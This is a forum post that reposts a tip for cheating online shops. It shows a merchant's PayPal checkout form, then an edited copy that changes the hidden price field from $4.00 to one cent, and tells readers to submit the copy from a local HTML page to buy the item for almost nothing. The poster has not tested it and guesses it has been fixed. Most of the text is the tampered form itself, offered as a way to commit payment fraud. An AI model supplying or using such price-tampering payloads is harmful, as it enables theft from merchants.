found this in stumbleupon just now
link

fr33dom.net Wrote:Lets Say you want to buy something from http://www.site.com
and it has the pay with paypal button. The item you want costs lets say 4 dollars.

<form method="post" action="http://www.site.com/process.php">
<input type="hidden" name="amount" value="4.00">
<input type="hidden" name="item_name" value="$4.00 Item">
<input type="hidden" name="item_number" value="1">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="no_shipping" value="1">
<input type="hidden" name="quantity" value="1">
<input type="hidden" name="bn" value="PP-BuyNowBF">
<input type="hidden" name="cmd" value="_xclick">
<input type="image" src="http://www.paypal.com/en_US/i/btn/x-click-but01.gif" border="0" name="submit" alt="Make payments with PayPal - it's fast, free and secure!">
</form>



You can find that in source.
Now all you do is.
copy that put it into a new HTML document and edit it to

<form method="post" action="http://www.site.com/process.php">
<input type="hidden" name="amount" value="00.01">
<input type="hidden" name="item_name" value="$4.00 Item">
<input type="hidden" name="item_number" value="1">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="no_shipping" value="1">
<input type="hidden" name="quantity" value="1">
<input type="hidden" name="bn" value="PP-BuyNowBF">
<input type="hidden" name="cmd" value="_xclick">
<input type="image" src="http://www.paypal.com/en_US/i/btn/x-click-but01.gif" border="0" name="submit" alt="Make payments with PayPal - it's fast, free and secure!">
</form>

i don't have paypal so i can't try it..
but i guess they thought of a way to fix this by this time